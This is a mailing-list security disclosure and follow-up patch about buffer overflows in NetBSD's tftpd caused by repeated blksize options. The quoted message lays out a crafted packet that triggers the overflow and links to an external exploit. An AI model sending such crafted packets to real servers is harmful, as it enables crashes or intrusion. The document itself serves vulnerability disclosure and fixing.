Re: TFTPD: Buffer Overflow(s)

[Maxime Villard <max%M00nBSD.net@localhost>]

There is an error in the fix which has been committed. What
if snprintf() returns -1 ?

- - PATCH

Index: tftpd.c
===================================================================
RCS file: /cvsroot/src/libexec/tftpd/tftpd.c,v
retrieving revision 1.40
diff -u -r1.40 tftpd.c
--- tftpd.c     28 Jun 2013 17:20:15 -0000      1.40
+++ tftpd.c     3 Jul 2013 17:34:19 -0000
@@ -488,7 +488,7 @@
 
        rexmtval = tout;
        if (asize > *ackl && (l = snprintf(ack + *ackl, asize - *ackl,
-           "timeout%c%lu%c", 0, tout, 0)))
+           "timeout%c%lu%c", 0, tout, 0)) > 0)
                *ackl += l;
        else
                return -1;
@@ -714,7 +714,7 @@
                        if (sizeof(oackbuf) > alen &&
                            (l = snprintf(oackbuf + alen,
                            sizeof(oackbuf) - alen, "tsize%c%u%c", 0,
-                           tftp_tsize, 0)))
+                           tftp_tsize, 0)) > 0)
                                alen += l;
                }
                oack_h = (struct tftphdr *) oackbuf;

- -

Le 28/06/2013 11:10, Maxime Villard a écrit :
> Hi,
> one week ago, I was comparing OpenBSD's TFTPD with NetBSD's one when
> I stumbled across several buffer overflows that may occur when dealing
> with specially crafted packets. I'm gonna explain quickly what it
> consists in.
> 
>   - - src/libexec/tftpd/tftpd.c - -
> 
> Let's say you send this packet:
> 
>       /* header */
>       "\x00\x01" // OACK packet
>       "merde"    // file name
>       "\x00"     // blank
>       /* tm */
>       "netascii" // transfert mode
>       "\x00"     // blank
>       /* blksize option */
>       "blksize"  // option
>       "\x00"     // blank
>       "\x39"     // value = 9
>       "\x00"     // blank
> 
> The packet will be handled that way:
> 
>   at l.86 : "char oackbuf[PKTSIZE];"  <-- Here, PKTSIZE = SEGSIZE + 4 = 516.
>   at l.669: get_options() is called with 'oackbuf' and 'alen'. Here, alen = 2.
>   at l.600: get_options() parses the received packet and calls the appropriate
>             handler. With our packet, blk_handler() will be called with 
> 'oackbuf'
>             and 'alen' as arguments.
>   at l.453: "strcpy(ack + *ackl, "blksize");
>              *ackl += 8;"
>             Here, ack=oackbuf and ackl=alen. So, each time blk_handler() is
>             called, 'alen' is incremented of 8.
> 
> Now, what if you send this packet:
> 
>       /* header */
>       "\x00\x01" // OACK packet
>       "merde"    // file name
>       "\x00"     // blank
>       /* tm */
>       "netascii" // transfert mode
>       "\x00"     // blank
>       /* blksize option */
>       "blksize"  // option
>       "\x00"     // blank
>       "\x39"     // value = 9
>       "\x00"     // blank
>       /* blksize option, AGAIN */
>       "blksize"  // option
>       "\x00"     // blank
>       "\x39"     // value = 9
>       "\x00"     // blank
> 
> ?
> 
> blk_handler() will be called two times, and ackl will be incremented two 
> times.
> So, if you send a big packet with lots of blksize options in it, 'alen' will 
> be
> incremented lots of times, so that it will end up being larger than 
> sizeof(oackbuf).
> At the end, you could get something like :  strcpy(ack + 5000, blksize);
> 
> Exploit here:
> 
>       http://M00nBSD.net/garbage/TFTPD-NetBSD.c
> 
> You can patch locally your TFTPD to see how big the overflow is:
> 
> -----
> 
> Index: tftpd.c
> ===================================================================
> RCS file: /cvsroot/src/libexec/tftpd/tftpd.c,v
> retrieving revision 1.39
> diff -u -r1.39 tftpd.c
> --- tftpd.c   29 Aug 2011 20:41:07 -0000      1.39
> +++ tftpd.c   28 Jun 2013 08:15:05 -0000
> @@ -450,6 +450,8 @@
>       }
>   
>       tftp_blksize = bsize;
> +     if (oackbuf == ack) syslog(LOG_ERR, "OK, same var: sizeof(ack) = 
> %lu\n", sizeof(oackbuf));
> +     syslog(LOG_ERR, "strcpy'ing in ack + %d\n", *ackl);
>       strcpy(ack + *ackl, "blksize");
>       *ackl += 8;
>       l = sprintf(ack + *ackl, "%lu", bsize);
> 
> -----
> 
> With that, my tty tells me:
>       OK, same var: sizeof(ack) = 516
>       strcpy'ing in ack + 24992
> 
> It seems that it could also occur in other places, but I did not investigate
> further.
> 
> Last thing: I think it would be better if the filename was validated BEFORE
> parsing the options. With the previous exploit, the file specified by 
> 'filename'
> does not even need to be present on the server. I suggest moving the block at
> l.687 above l.666, with some changes.
> 
> Maxime
>